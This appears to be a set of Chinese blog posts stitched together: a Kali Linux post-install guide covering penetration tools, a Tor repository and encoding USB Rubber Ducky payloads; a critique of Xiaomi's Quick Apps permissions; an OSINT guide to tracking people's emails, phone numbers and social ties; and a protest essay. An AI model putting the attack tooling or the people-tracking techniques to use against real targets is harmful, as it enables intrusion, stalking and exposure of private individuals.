有些 Kali 版本是面向极简主义的渗透测试者，那些不希望预先安装数百个黑客工具的人。这意味着您必须手动安装您喜欢的工具。

人们使用的工具类型根据自己的技能和专业领域而有所不同，但以下是一些流行的黑客工具。

- Aircrack-ng：无线WEP/WPA破解实用程序。
- BeEF：通过Web应用程序的浏览器漏洞利用框架。
- Burp Suite：专为Web应用程序安全性而设计的图形应用。
- Hydra：登录密码暴力破解实用程序。
- Nikto：Web服务器安全扫描器。
- Maltego：开源取证和情报收集。
- Nmap：端口扫描器和网络映射器。
- Wireshark：用于网络流量分析的图形应用程序。

您可以使用以下命令安装这些工具。

```
apt-get install maltego metasploit-framework
burpsuite wireshark aircrack-ng hydra nmap beef-
xss nikto Reading package lists... Done Building
dependency tree Reading state information... Done
hydra is already the newest version (8.6-1kali1).
The following NEW packages will be installed:
beef-xss binfmt-support burpsuite fastjar fonts-
droid-fallback fonts-lato fonts-noto-mono
ghostscript gsfonts imagemagick imagemagick-6-
common imagemagick-6.q16 jarwrapper java-wrappers
javascript-common libc-ares2 libcupsfilters1
libcupsimage2 libdjvulibre-text libdjvulibre21
libdouble-conversion1 libfftw3-double3 libgmp-dev
libgmpxx4ldbl libgs9 libgs9-common libhttp-
parser2.8 libijs-0.35 libilmbase23 libjbig2dec0
libjs-jquery libjs-jquery-easing libjs-jquery-
fancybox libjs-jquery-mousewheel libjs-jquery-ui
libjs-source-map libjs-uglify libjxr-tools libjxr0
liblqr-1-0 liblua5.2-0 libmagickcore-6.q16-6
libmagickcore-6.q16-6-extra libmagickwand-6.q16-6
libnetpbm10 libnl-route-3-200 libopenexr23
libpaper-utils libpaper1 libpcre2-16-0
libqt5core5a libqt5dbus5 libqt5gui5
libqt5multimedia5 libqt5multimedia5-plugins
libqt5multimediagsttools5 libqt5multimediawidgets5
libqt5network5 libqt5opengl5 libqt5printsupport5
libqt5svg5 libqt5widgets5 libruby2.5 libsbc1
libsmi2ldbl libspandsp2 libssh-gcrypt-4 libuv1
libwhisker2-perl libwireshark-data libwireshark11
libwiretap8 libwmf0.2-7 libwscodecs2 libwsutil9
libxcb-icccm4 libxcb-image0 libxcb-keysyms1
libxcb-randr0 libxcb-render-util0 libxcb-xinerama0
libxcb-xkb1 libxkbcommon-x11-0 libyaml-0-2 maltego
netpbm nikto nodejs nodejs-doc openjdk-8-jre
openjdk-8-jre-headless qt5-gtk-platformtheme
qttranslations5-l10n rake ruby ruby-addressable
ruby-ansi ruby-atomic ruby-buftok ruby-celluloid
ruby-celluloid-io ruby-daemons ruby-dataobjects
```

```
ruby-dataobjects-mysql ruby-dataobjects-postgres
ruby-dataobjects-sqlite3 ruby-dev ruby-did-you-
mean ruby-diff-lcs ruby-dm-core ruby-dm-do-adapter
ruby-dm-migrations ruby-dm-serializer ruby-dm-
sqlite-adapter ruby-docile ruby-domain-name ruby-
em-websocket ruby-equalizer ruby-erubis ruby-
eventmachine ruby-execjs ruby-faraday ruby-geoip
ruby-hitimes ruby-http ruby-http-cookie ruby-http-
form-data ruby-http-parser.rb ruby-json ruby-
librex ruby-libv8 ruby-memoizable ruby-mime-types
ruby-mime-types-data ruby-minitest ruby-mojo-
magick ruby-msfrpc-client ruby-msgpack ruby-multi-
json ruby-multipart-post ruby-naught ruby-net-
telnet ruby-nio4r ruby-oj ruby-parseconfig ruby-
power-assert ruby-public-suffix ruby-qr4r ruby-
rack ruby-rack-protection ruby-ref ruby-rqrcode
ruby-rspec-expectations ruby-rspec-support ruby-
rubydns ruby-simple-oauth ruby-simplecov ruby-
simplecov-html ruby-sinatra ruby-sqlite3 ruby-
term-ansicolor ruby-test-unit ruby-therubyracer
ruby-thread-safe ruby-tilt ruby-timers ruby-tins
ruby-twitter ruby-uglifier ruby-unf ruby-unf-ext
ruby-xmlrpc ruby-zip ruby2.5 ruby2.5-dev ruby2.5-
doc rubygems-integration thin wireshark wireshark-
common wireshark-qt zip The following packages
will be upgraded: aircrack-ng libcups2 libnl-3-200
libnl-genl-3-200 libxkbcommon0 metasploit-
framework nmap nmap-common 8 upgraded, 182 newly
installed, 0 to remove and 458 not upgraded. Need
to get 381 MB of archives. After this operation,
616 MB of additional disk space will be used. Do
you want to continue? [Y/n] y
```

6、安装最新版本的 Tor

「图」

Tor 可以在 Kali 的存储库中使用，但匿名软件应该直接从源代码获取（torproject.org）。

此外，Kali 的 Tor 版本无法可靠地维护或更新。这意味着可能会缺少关键的稳定性和安全性更新。

将 Tor 项目存储库添加到 APT 存储库列表中。

```
echo 'deb https://deb.torproject.org/
torproject.org stretch main deb-src https://
deb.torproject.org/torproject.org stretch main' 」
/etc/apt/sources.list.d/tor.list
```

然后，下载 Tor Project 包签名密钥并将其导入 APT 密钥环。

```
wget -O- https://deb.torproject.org/
torproject.org/
A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc |
sudo apt-key add - --2019-02-18 19:28:23--
https://deb.torproject.org/torproject.org/
A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc
Resolving deb.torproject.org
(deb.torproject.org)... 138.201.14.197 Connecting
to deb.torproject.org (deb.torproject.org)|
138.201.14.197|:443... connected. HTTP request
sent, awaiting response... 200 OK Length: 19665
(19K) [text/plain] Saving to: ‘STDOUT’ -
100%[=================================================
19.20K 47.5KB/s in 0.4s 2019-02-18 19:28:25 (47.5
KB/s) - written to stdout [19665/19665] OK
```

将签名密钥添加到密钥环后您将看到 “OK” 输出。接下来，使用以下 **apt-get** 命令更新 APT。

```
apt-get update Hit:1 http://
downloads.metasploit.com/data/releases/metasploit-
framework/apt lucid InRelease Get:2 https://
deb.torproject.org/torproject.org stretch
InRelease [4,965 B] Get:4 https://
deb.torproject.org/torproject.org stretch/main
Sources [1,169 B] Get:5 https://
deb.torproject.org/torproject.org stretch/main
amd64 Packages [2,400 B] Hit:3 http://
archive-3.kali.org/kali kali-rolling InRelease
```

```
Fetched 8,534 B in 8s (1,091 B/s) Reading package lists... Done
```

使用以下命令安装 Tor，这样就完成了。

```
apt-get install tor deb.torproject.org-keyring Reading package lists... Done Building dependency tree Reading state information... Done Suggested packages: mixmaster torbrowser-launcher socat tor-arm apparmor-utils obfs4proxy The following NEW packages will be installed: deb.torproject.org-keyring The following packages will be upgraded: tor
```

7、使用 Syncthing 配置文件共享

「图」

由 Jakob Borg 创建的 Syncthing 是一种 跨平台的，私有的、且轻量级的文件同步替代方案。

作为渗透测试人员，在 VPS 和本地 Kali 机器之间传输按键日志、屏幕截图、网络摄像头录像、和敏感的战利品文件，可能是一项令人沮丧的任务。Syncthing 则使安全的文件共享完全更加轻松。

8、安装代码编辑器

「图」

Atom 是一个免费开源的，功能丰富且高度可定制的文本编辑器。其功能包括实时协作共享代码，直观的编码自动补全功能，以及安装软件包的能力，这些都进一步增强了 Atom 的多功能性。

其他值得注意的文本编辑包括 Geany 和 Gedit。

要安装 Atom，请访问他们的网站并下载最新的 Debian安装程序。接下来使用下面的 **apt-get** 命令打开终端并安装所需的依赖项。

```
apt-get install gvfs gvfs-common gvfs-daemons gvfs-libs gconf-service gconf2 gconf2-common gvfs-bin psmisc Reading package lists... Done Building
```

```
dependency tree Reading state information... Done
Correcting dependencies... Done The following NEW
packages will be installed: gconf-service
(3.2.6-4.1) gconf2 (3.2.6-4.1) gconf2-common
(3.2.6-4.1) gvfs-bin (1.36.2-1) libgconf-2-4
(3.2.6-4.1) psmisc (23.1-1+b1) The following
packages will be upgraded: gvfs (1.36.1-1 =」
1.36.2-1) gvfs-common (1.36.1-1 =」 1.36.2-1)
gvfs-daemons (1.36.1-1 =」 1.36.2-1) gvfs-libs
(1.36.1-1 =」 1.36.2-1) 4 upgraded, 6 newly
installed, 0 to remove and 462 not upgraded. 1 not
fully installed or removed. Need to get 3,317 kB
of archives. After this operation, 8,909 kB of
additional disk space will be used. Do you want to
continue? [Y/n] y
```

最后，使用命令行包管理器 **dpkg** 和 install（**-i**）参数。

```
dpkg -i ~/Downloads/atom-amd64.deb (Reading
database ... 191882 files and directories
currently installed.) Preparing to unpack atom-
amd64.deb ... Unpacking atom (1.29.0) over
(1.29.0) ... Setting up atom (1.29.0) ...
Processing triggers for desktop-file-utils
(0.23-3) ... Processing triggers for mime-support
(3.60) ...
```

完成后，Atom 将显示在 “应用程序” 菜单中。

9、克隆 Rubber Ducky 编码器

「图」

USB橡皮鸭是臭名昭著的按键注入工具。利用 DuckToolKit 网站可以很容易创建 ducky payloads，但作为一个渗透测试人员，与随机网站共享客户信息是不安全的。

将有效载荷内容上载到第三方网站可能很危险。

相反，您可以使用 **Git** 克隆USB橡皮鸭存储库并在本地编码有效载荷。

```
git clone https://github.com/hak5darren/USB-Rubber-Ducky Cloning into 'USB-Rubber-Ducky'... remote: Counting objects: 1657, done. remote: Total 1657 (delta 0), reused 0 (delta 0), pack-reused 1657 Receiving objects: 100% (1657/1657), 31.88 MiB | 162.00 KiB/s, done. Resolving deltas: 100% (745/745), done. Checking out files: 100% (1509/1509), done.
```

然后，将当前目录更改（cd）为 USB-Rubber-Ducky/Encoder/ ，并使用以下 **java** 命令开始编码没有第三方网站的 ducky payloads。

```
cd USB-Rubber-Ducky/Encoder/ java -jar encoder.jar -i input_payload.txt -o inject.bin
```

10、更改SSH密钥和默认密码

「图」

每个 Kali Linux 安装的默认密码都是相同的（toor），这使得自动化攻击非常容易。

此外，当你通过 SSH 控制树莓派之类的东西时，默认的 SSH 密钥可以允许攻击者拦截你的通信。

要更改 SSH 密钥，请首先切换目录，执行以下两个命令将重置 SSH 密钥的默认值。

```
cd /etc/ssh/ dpkg-reconfigure openssh-server rescue-ssh.target is a disabled or a static unit, not starting it.
```

现在，对于你的 Kali 系统密码，输入 **passwd root**，然后输入你的新密码。

然后，重新输入以确认。

如果你您以 root 用户身份登录，可能会在执行此操作之前询问您当前的密码。

```
passwd root Enter new UNIX password: Retype new UNIX password: passwd: password updated
```

```
successfully
```

好啦，就是这样。每个人都有不同的兴趣、技能和经验水平，并没有一个能适合任何人的安装步骤。但本文至少列出了关键的一些步骤，如果您有其他建议，欢迎留言。〇

Top 10 Things to Do After Installing Kali Linux

原文

小米正在如何跟踪你？ - - 逆向”快应用”，以及如何防御 - iyouport

你应该了解的现实技术-攻击防御和反抗

【2020年5月6日存档】

小米智能手机不仅流行中国、在南亚国家也非常受欢迎，主要是印度、斯里兰卡、印度尼西亚、泰国等。这些手机以低廉的价格和新功能而闻名。

根据《Business Standard》，“小米印度收入在2018财年增长了175%，小米发布的净利润为29.3亿卢比”，在2018年第四季度；同样来自 Counterpoint，“小米在印度的智能手机销量在2018年第四季度比中国更高”。

- 见此前的报道《入侵印度》

现在您知道有多少消费者已经购买和使用了该手机。

现在让我们来讨论一下应用程序 Quick Apps，如果您使用的就是小米，那么现在就可以开始查看您的手机，进入“设置”」“系统应用程序”」“快应用”，您会发现：

通常，系统上安装的所有应用程序都应该可以卸载。但由于这些是内置应用程序，因此只能被禁用。此菜单中没有卸载选项（但它是可以卸载的，卸载方法将是另一个话题）。

先看一下该应用具有的权限：

⚠App 拥有超过55种权限，其中一些权限甚至可以在不通知你的情况下安装应用程序、抓取用户的IMEI、SIM卡号、IMSI号、MNC或MCC、窃取存储在电话中的用户凭证、使用凭证、记录音频、视频和通话，并将其转储到临时存储中，上传到某些端点，例如：

https://v.id.mi.com

本文将深入研究该应用程序，第一步是对应用程序进行反编译并查看源代码。我们看到了一些代码，这些代码极易受到某些攻击，可用于攻击手机中的其他应用程序。

问题**1**：**App** 拥有超过**55**个权限可访问、使用和备份用户数据

它使用了过多的管理权限，例如在没有用户通知的情况下安装应用程序，在未经用户同意的情况下下载OTA，阅读、录制、流式传输实时通话以及视频聊天。

它可以执行中间人攻击，还具有读取用户凭据和在后台进行身份验证的权限。

问题 **2**：**App** 使用“ **SHA1RSA**”算法为应用程序生成签名证书。这是一个严重的漏洞，因为 **SHA1RSA** 算法容易受到冲突攻击。

如果您了解加密技术就会知道，算法会为每个文件生成一个哈希值，同样，每个 Android 应用也需要使用加密算法进行签名，以证明所有者的身份。当两个不同的文件或消息产生相同的加密哈希时，就会发生冲突。

发生这种情况时，攻击者可以制作与原始应用相同的哈希值，以假扮真实应用的所有者。这就是冲突攻击。

问题**3**：**App** 可以在未经用户同意的情况下安装未注册的应用程序。

不仅可以在未经用户同意的情况下安装未注册的应用程序，还存储日志，并清除所有与应用程序安装和卸载有关的通知。

问题**4**：**App** 将未经处理的**SQL**输入发送到使用**SQLite**数据库并执行原始**SQL**查询的后端**DB**。

问题**5**：**App** 会为您的数据创建访客资料文件，并将其转储到小米端点

该应用程序在

https://v.id.mi.com

中创建一个用户作为访客，并保存设备的MAC地址、蓝牙ID和Android ID。

他们如何处理这些数据？

小米将Druid用作分析仪表板，据我所知它是用于广告的，因此，您可以得出的结论是，根据您的位置、运营商、您使用的应用程序、浏览的网站、您经常致电的联系人、您经常访问的地点 …… 快应用将数据上传到分析仪表板，然后您就会在任何地方看到广告 —— 锁定屏幕上、新闻小部件、浏览器广告、建议弹出窗口等等。

如何禁用/卸载此应用程序？

到目前为止，卸载这些系统应用程序的唯一方法是，将您的 android 手机root，并使用Play商店中可用的卸载工具，例如 System App Remover, Redmi System manager, System app uninstaller。

或者……

如果您知道自己在做什么，您可以先root以禁用这个膨胀软件，然后再 unroot。您可以在 MIUI 博客中找到操作方法。〇

Reverse Engineering “Quick Apps” from Xiaomi

原文

巧用互联网，找到您最想要的信息：搜索思维作为基本功 - iyouport

你应该了解的现实

【2020年9月18日存档】这里是您最基本应该掌握的使用互联网的小技巧，以便找到您最想要的内容和信息

5月下旬，英国政府的一名高级顾问公开宣称他 “早已” 在2019年就警告了冠状病毒的危险。

他在2019年3月4日撰写的博客文章中就显示了清晰的证据表明了该警告，文章中包括 “冠状病毒”一词。

但是英国广播公司的一项调查显示，原始博客文章中并未写有 “冠状病毒” 一词，直到2020年4月9日大流行已经全面出现时，该警告才出现在那篇文章中。

验证这点非常容易，时光机就可以做到。就如英国广播公司首席互联网研究专家 Paul Myers 所说，现在有许多有效的工具和技术可以帮助公民和记者深入了解数字时代，比如在 Google街景视图中您可以浏览过去的场景。

6月，在为来自94个国家/地区的700多名记者组织的在线讲习班中，Myers 描述了一些开源调查工具、技巧和搜索技术，目标是发掘与 COVID-19 大流行相关的难以捉摸的信息、图像和社交媒体帖子。

这里讲述的方法都非常简单，就是说从开源情报技术中过滤出了那些最易于普及给零经验调查者的小技巧。但这些技巧都很实用，如果公民调查容易能熟练使用这些技巧，将足够应付大部分日常需求并验证一般的虚假信息。

比如，您知道在搜索中哪些情况下应该将关键词用 “” 扩起来吗？或者，在搜索句式中添加一个减号 ━ 能过滤掉不需要的内容？再或者，您知道布尔搜索需要大写吗？再或者，您知道 “site:” 前缀可以将搜索重点放在您需要的特定域上吗？…… 等等。

上述这些是布尔搜索和 **Googledorking** 最基本的技巧，在下面看到具体介绍：

- 《攻防皆可用：GoogleDorking 高级运算符完整列表》
- 《一个搜索统治一切：调查用心而非技术》

下面是一个演示：

再例如，尽管 Instagram 的搜索功能很差，但与其他社交媒体用户相比，其年龄较小的用户更可能标记自己的位置，于是那些在新闻事件中寻找在场人员（目击者）的调查人员就可以利用这点。

您可以通过使用词云来查找仅由目标社区使用的标签来专注于该社区/群体所发布的内容。

搜索思维是在线情报研究的基本资产。正如 Myers 所说，大多数人都使用自然语言搜索 Google —— 他们将其视为一个 “人”，有些时候有效，但是也有很多时候它会完全误解您的问题，因为谷歌真的不是人。它是算法，于是对于调查者来说，最好能使用算法听得懂的语言来和它交流。

只要你用得对，就能得到尽可能准确的结果。

Myers 提供了一个例子，比较著名的暗杀事件。如果你直接输入搜索词“Kennedy” and “Lennon”（ 就是 John F. Kennedy 和 John Lennon ），会触发一系列结果，包括英国足球队的网站。但是如果你加上 “Caesar” 一词，搜索就突然变成了暗杀比较。

这就是逻辑引导思考的最简单案例。

同样，在社交媒体上搜索目标个人时，如果您的调查目标是年轻人，那么搜索逻辑会快速告诉你应该从 TikTok 或 Instagram 等平台开始，而不是 LinkedIn，但如果你的目标是大公司的首席执行官，就如我们曾经演示的追踪政治旋转门的调查，那么肯定应该首先从 LinkedIn 开始。

- 《深层政治：Facebook金字塔的人形肌理—— 仅仅依靠开源数据，扒开利维坦的内裤》
- 《追踪谷歌的政治旋转门：开源调查》

再比如 **Twitter**，由于它有字符数限制，于是在 Twitter 发言的人们更多会使用缩写而不是完整的单词 —— “info” 出现的频率远超过

“information”，所以如果您在Twitter跟踪信息，请注意您的关键词使用，“information” 得到的结果将远低于 “info”。

Twitter 是跟踪突发新闻和群体事件的好地方，不论您是追踪名人、挖掘信息战网络、还是希望密切跟随新闻热点事件和抗议运动，这里都应该是您的首选。

也因此，对 **Twitter** 的挖掘工具和方法、工具和技巧，都非常多。我们介绍过其中大部分，也总结过一些简单易用的小功能，如下：

- 《深挖推特》
- 《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》
- 《深挖推特工具超长列表、寻找独立新闻源…… 新生情报工具（18）》
- 《调查记者如何从社交媒体上挖掘情报？》
- 更多内容见 列表-5 “开源情报”

您可能早已意识到了，搜索是一切的基础；不论您是想要调查某件事、了解某些知识、追踪某些人、攻击某个组织/公司/机构 …… 第一步都是从搜索开始的。您能搜到的东西越多、越精准，您的行动就越顺利。

所以，搜索的技巧对几乎每个人来说都很重要，而不仅仅是公民调查人员。

Myers 在搜索技巧方面给出了一些最基本的建议。这些建议都非常简单，但是很重要，是大多数人容易犯的错误。

1、不要直接搜索您想要的东西。相反，搜索网页或社交媒体帖子中 **更有可能出现** 的单词；

2、不要忘了在单个关键字/词周围添加引号“”、给最有可能出现的不必要的内容添加减号 **—** ，以进行更精准的过滤；

3、您可以通过在关键词选项之间以大写字母添加“ **OR**”来增加灵活性，并避免破坏搜索；

4、必要时，您可以将搜索集中到前缀为 **“site:”** 的特定域，注意没有空格：

「图」

5、您可以充分探索Google的选项、工具和高级搜索功能，包括日期范围，以进行更精准的过滤；

6、先找到确定会出现的词，然后找到“可能”会出现的词，避免遗漏重要内容；

7、在 archive.org 和 archive.is 上查找已删除的页面，尤其是社交媒体帖子。这一做法我们有过详细介绍：

- 这是一个最全面得到指南《如何快速找到你想要的东西：追踪数字证据的小技巧》
- 这里是一个快速说明《盗墓》

8、**ext:pdf** 用来寻找pdf文件。搜索已经删除的文档时，请查找其缓存的版本。如果您知道该文档中的一些单词，请在Google中用引号将其扩起来，然后查看同一文档是否还有其他来源。

9、谷歌不是一切。例如有一些事 Bing 可以做到但是谷歌做不到，比如它允许您按IP地址而不是域名进行搜索。总之，您应该大致了解一些热门搜索引擎的特点，以便在您最需要的时候以您的需要为中心去选择它们。

- 这里有一个简要汇总指南《如果你擅长搜索，你能找到一切：*没有谷歌*的强大搜索世界》

在社交媒体上查找信息的小技巧如下。

1、当然您有可能从外部进行搜索，比如用谷歌搜推文；但是也可以在特定平台上启动内部搜索，内部搜索的优势在于，它与平台自己的数据库直接连接，并且可以提供更多的最新结果；

- 在IYP搜索“社交媒体情报”可以找到更多工具和技巧的介绍

2、如果您的调查目标是个人，请先尝试确定其电子邮件地址。电子邮件地址可能是唯一的标识，其效果通常两倍于社交媒体用户名，并且可以被诸如 Pipl.com 之类的找人数据库有效地使用。

基本方法如下：

- 《如何快速找到一个人的电子邮件地址？：5个简单的方法》
- 《12个开源情报资源：挖掘电子邮件背后的秘密》
- 《如何侦查电子邮件和电话号码？开源情报调查工具》

- 《如何只用电子邮件地址追踪到 Twitter 帐户？》
- 《如何仅仅通过电子邮件挖到你的电话号码：一种新的开源情报追踪方法》

3、在 email-format.com 格式中输入公司的名称，可能会找到目标人员电子邮件地址的公司格式。然后您就可以通过他们的名字找出他们的个人地址；

4、使用在线地图中自动生成的经度和纬度数字，可以找出特定社区中人们对某个特定主题的看法。将这些数字复制到 Twitter，不带空格前面添加 geocode:。然后将所需的地理半径添加到末尾，例如“1km”（一公里）。

- 具体做法在这里看到《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》

下面是一个列表，是帮助您查找**GPS**/坐标的工具：

epsg.io

coordinatesfinder.com

latitude.to

countrycoordinate.com

findlatitudeandlongitude.com

geody.com

getlatlong.net

mapcoordinates.net/en

gps-coordinates.org

gpscoordinates.info

gps-coordinates.net

gpscoordinates.eu/index.php

geoplaner.com

gpsvisualizer.com

gridreferencefinder.com

whatsmygps.com

maps.ie/coordinates.html

「图」

5、请记得每个平台都有些特殊性。比如，在 Instagram 的成功搜索往往带有下划线和复合词，而不是连字符。虽然无法从 Instagram 复制图像，但它们确实提供了可用于向前搜索的元信息；

6、Picbabun 是提供有效搜索 **Instagram** 的网站之一。它允许复制 Instagram 图片并以完整尺寸打开。

7、对调查者友好的网站 Echosec 将帮助您找到通过 **Twitter** 发送的 **Instagram** 帖子，其中搜索功能要好得多；

8、想要在推特上识别某些目标社区吗？Hashtagify.me 上的词云是个好办法，您能从中识别那些专属于目标社区使用的主题标签。例如，航空公司乘务人员使用的主要主题标签包括＃crewlife，将其插入 Twitter后立即能显示航空公司人员的帖子。

9、**“intitle:”** 也可以在是社交媒体平台内部搜索中使用，以显示含有特定单词的帖子；

10、如果您有预感目标人已经在 Facebook上对内容进行了后期编辑，请单击右上角的三个小点，查看“编辑历史记录”，便可以找到以前的版本；

11、如果您怀疑整个帖子已经被修改了发布时间，请将光标悬停在 Facebook 帖子旁边的小时钟图标上，这将显示该帖子发布的真实日期：在下面看到操作案例演示：

- 这篇文章的第二部分是一个调查演示，其中就包含了这一技巧《“谷歌地图”是比詹姆斯邦德更棒的间谍》

12、使用 **“url:”** 可以找到带有指向其他网站的链接的 Twitter 帖子——如果您正在寻找在亚马逊上出售口罩的人，那么就可以这样 url:amazon;

13、Followerwonk 允许您在 **Twitter** 中搜索人们的简介，但也可以找到两个不同帐户的共同关注者；

14、尽管 Facebook 的搜索功能很笨拙，但它的确允许使用任何关键词（包括公司名）进行搜索，因此您可以在最初不知道其姓名的情况下搜索某人。

Facebook 的搜索技巧见下面的概括：

- 《搜人、照片、视频、位置 …… 大全：新的FB"图谱搜索"替代方案—— 尤其强调防御》
- 《如何使用 Facebook 挖掘任何人的私人电话号码》

15、不要忘了，**Facebook** 还读取上传图像中的文字和数字，因此，您甚至可以搜索汽车牌照：

- 不要错过，《如何在 互联网上追踪一辆汽车》

16、如果受到 "最相关" 过滤器的限制，请在 **"avoiding the filter bubble"** 下搜索 **Google**。在调查过程中建议最好使用一个没有 "朋友/联系人" 也没有简介设置的袜子木偶账户。并清除Cookie，避免被反向追踪到您的身份。

- 做法《某些行动者，你需要一个袜子木偶》

17、一个非常高级但是不免费的搜索站点是 **Social Links**，它在 Maltego 内运行。可以说是物有所值的。您可以跨社交媒体他平台进行面部识别搜索；搜索标记的帖子或标记的照片。

Maltego 是个很厉害的东西，曾经是社交工程攻击的重要武器之一，对于调查人员来说，它的功能将让您感觉更加得心应手。在下面看到介绍和使用方法：

- 《如何使用 Maltego 监测推特上的政府信息战》
- 《社交工程工具用于开源情报调查：0基础初学者指南》
- 《社交网站上进行新闻收集和监视的基本指南》
- 《如何挖掘目标人社交关系网？- 连锅端利器》
- 《攻击者如何收集有关目标的情报？他们能了解你多少？》

找人

「图」

在互联网上找人有几个步骤，从最显而易见的开始，逐渐深入 —— 如果您的调查对象比较擅长隐藏的话，您很可能需要多走几步。

1、第一步就是显而易见的，直接搜名字。用引号将名字扩起来。但是可能会有大量重名，如果您的调查对象不是名人的话。

2、第二步就是尝试布尔搜索。使用 **OR** 将可选关键字构建到搜索中。

例如对于夺走149人性命的空难，搜索“德国之翼” 9525航班的副驾驶员：

上面的搜索可以找到他的家乡以及他的名字或社交媒体用户名的页面。

3、使用 **site:** 指定域或URL的一部分。例如，将搜索集中在联邦航空局内部：

「图」

4、如果内容被大量删除过，那么就要首先考虑缓存。

如果信息只是最近才被删除的、并且仍然出现在Google搜索中，请尝试单击搜索结果中旁边的黑色小三角，也许能找到缓存副本。

5、如果没有缓存，就去档案馆/时光机上找。Archive.is 和 Wayback Machine 是最常用的。

6、目标人的同一张照片可能出现在许多不同的网站上，通常带有不同的标题。图像可以帮助您识别其中包含的人物的身份信息。单击Google图片搜索框中的相机图标，即可找到**Google**的反向图片搜索。

7、由于姓名通常会有重名，有时同音字，因此最好收集尽可能多的有关目标人的信息，包括社交媒体搜索中找到的任何信息。

8、考虑下列问题。

关于名字 ——

- 拼写正确吗？
- 用户名是什么？

- 婚后的姓氏？

关系 ——

- 家人的名字可能会出 “朋友” 列表中
- 人们有时会在不同的社交媒体平台上拥有一些相同的朋友

就业 ——

- 他们做什么工作？
- 他们为哪个公司服务？（服务不一定就是公开声明的工作）

相关的地点 ——

- 他们在哪出生的？祖籍/家乡
- 他们现在在哪工作或生活？

电邮地址 ——

- 可以通过Skype、Whatsapp等地方找到目标人的详细信息
- 可以通过 Email Format 之类的网站来推测目标人的工作电子邮件地址

电话号码 ——

- 诸如 truecaller.com 和 sync.me 之类的网站使您可以搜索数十亿个电话号码的数据库
- 但是受到通用数据保护条例（GDPR）的限制，许多欧盟国家的号码很难找到

域名注册 ——

- GDPR 也会阻止您查找域名的所有者
- 但是一些旧的细节性信息仍然可以在 domaintools.com 之类的网站找到
- 一些机构允许您提出查询请求
- 一些注册公司的信息是公开的

此外也要考虑目标人的相貌特征、性格、兴趣爱好等。

9、有一些在线资源已经将个人数据收集到可搜索的库中。例如 Lusha, contactout, jobjet 扩插件，可以提供您正在查看的帐户的

联系方式。

Pipl Pro, Spokeo 等平台是专门搜人的站点，也许能提供有关您的调查对象的大量个人信息。可以通过电话号码、电子邮件和其他因素搜索 Pipl。 Spokeo在某些方面相似，但主要针对美国公民。

10、通过社交媒体搜人是必不可少的。

- Tweepsect 可以显示关注者、关注的人、和互粉关系
- Followerwonk 可以比较两个或三个帐户的关注者，从而可能找到其中的团队关系或共同点
- Tweetbeaver 包含很多有用的 Twitter 搜索工具
- Facebook 的搜索框可以根据您想要的区域过滤 —— 比如帖子、人物、照片、视频、页面和群组
- 群组和页面也有自己的内置搜索功能，可帮助您找到特定帖子
- Facebook的 “People” 选项是其最有用的功能之一。您甚至都不需要搜索完整的名字，只需输入有关您正在寻找的人的一些详细信息。例如，您可以简单地搜索专业、公司、城镇或大学，您还可以在页面左侧找到过滤器，以指定与搜索相关的方面
- Posts 选项使您可以搜索 Facebook 帖子中的关键字。筛选器允许您指定来源、日期和搜索的 Facebook 群组

最后

「图」

总之，如果您能掌握以上这些基本知识，日常的调查工作和信息验证工作就基本不成问题。

您不需要熟悉所有高端的技术操作、也不需要背下全套的工具列表，但是肯定应该掌握使用频率最高的一些技巧，并将它们纳入习惯。这样才能帮您在实践中得心应手。〇

原文

年终礼：在白纸上绘制未来(第5集) - 砸烂闭环 - iyouport

你应该了解的现实

媒体的奥弗顿之窗就是将所有焦点汇聚在对防疫政策的争议上，而忽略了这场抗争整体的背景 - - 从而帮助削弱了反抗行动对系统的冲击力。

> 无论示威活动的直接结果如何，中国的普通民众都在因这一经历而变得激进，许多人已经自我组织起来。这极大地提高了群众的意识，无论结果如何，为正义而斗争的经验都将伴随他们。这对未来是个好兆头。

欢迎回来！这里是第5集。

如果您错过了前面的内容，可以在下面看到：

- 《年终礼：在白纸上绘制未来 (第1集)—我们"伊朗了"吗？》
- 《年终礼：在白纸上绘制未来(第2集)—火炬已点燃，之后呢？》
- 《年终礼：在白纸上绘制未来(第3集)—要与统治者竞争智商，而不是与公众》
- 《年终礼：在白纸上绘制未来(第4集)—是的，有一种很难被镇压的起义》

【以下帖子发布于

Q：白纸行动后我甚至看到有清零派谴责反抗者，我就足够感觉到你们说的对那些媒体的浅薄的愤怒是什么意思了。白纸不是简单的清不清零的问题，但有太多人都在把反抗行动缩小到疫情的层面 …… 你们说的直接行动是什么样的？比抗议更管用吗？…… 中国的清零政策独一无二，那要怎样把中国的白纸行动放在全球背景下分析？……

iyp：直接行动很简单，就是省去中间人，自己解决问题，而不是向当局请愿或依赖外部机构。也就是，不要被代表。很多中国朋友都熟

悉一个经典的流行讽刺“戴三个表”，这可以假设有不少人对政府机构保持着警惕。

比如热门视频中这位95岁的上海老太太反抗方舱，挥舞着一把苕帚对战大白。就是最基本的直接行动。虽然和所有行动一样，想要获胜都需要策略。只有苕帚是不够的。

中国社会曾经有过多次值得注意的直接行动，虽然规模不大也可能没有被充分解读，但绝对不是如互联网上被描述的那样“只会上访”；白纸反抗也不完全是关于防疫政策争议的，它是关于反对压迫和限制。即 反统治。虽然防疫政策是一个燃点，但并非起点。

清零政策中被部署在城市的水马和铁皮围栏，只是将一直以来相对隐形的“国内边界”直观化了。

无论有没有疫情，中国都保持着比世界上任何其他国家更强的能力来控制其人口在国内的流动—— 通过臭名昭著的户籍政策，该政策将社会服务的提供与地区挂钩。虽然邓小平推动了一个全国性的劳动力市场，让公民可以享有一点狭义的市场自由，在全国范围内寻求就业；但是，社会公民权，包括获得国家补贴的医疗保健、教育、养老金和住房的权利，都是在城市一级进行的。

近年来中央政府推动了一种技术官僚的生命政治，旨在以恰到好处的质量和数量在城市和地区的复杂社会空间等级制度中“分配”人口，是上述噩梦加深的促进剂。这种“及时制的城镇化”，就是幻想着把精英人才拉进精英城市、把所谓的“低端人口”推向低端地方。

尽管人类的流动性永远不可能被如此精确地支配，但对中国国内的劳动力流民来说，其实际影响是生活空间与工作空间的割裂。近3亿人为寻找工作而搬到了城市，但却被剥夺了获得维持生命的基础设施的机会，如住房和医疗服务。

换句话说，虽然资本和劳动力在中国境内可以自由流动，但仍有大量的内部边界限制着社会再生产。

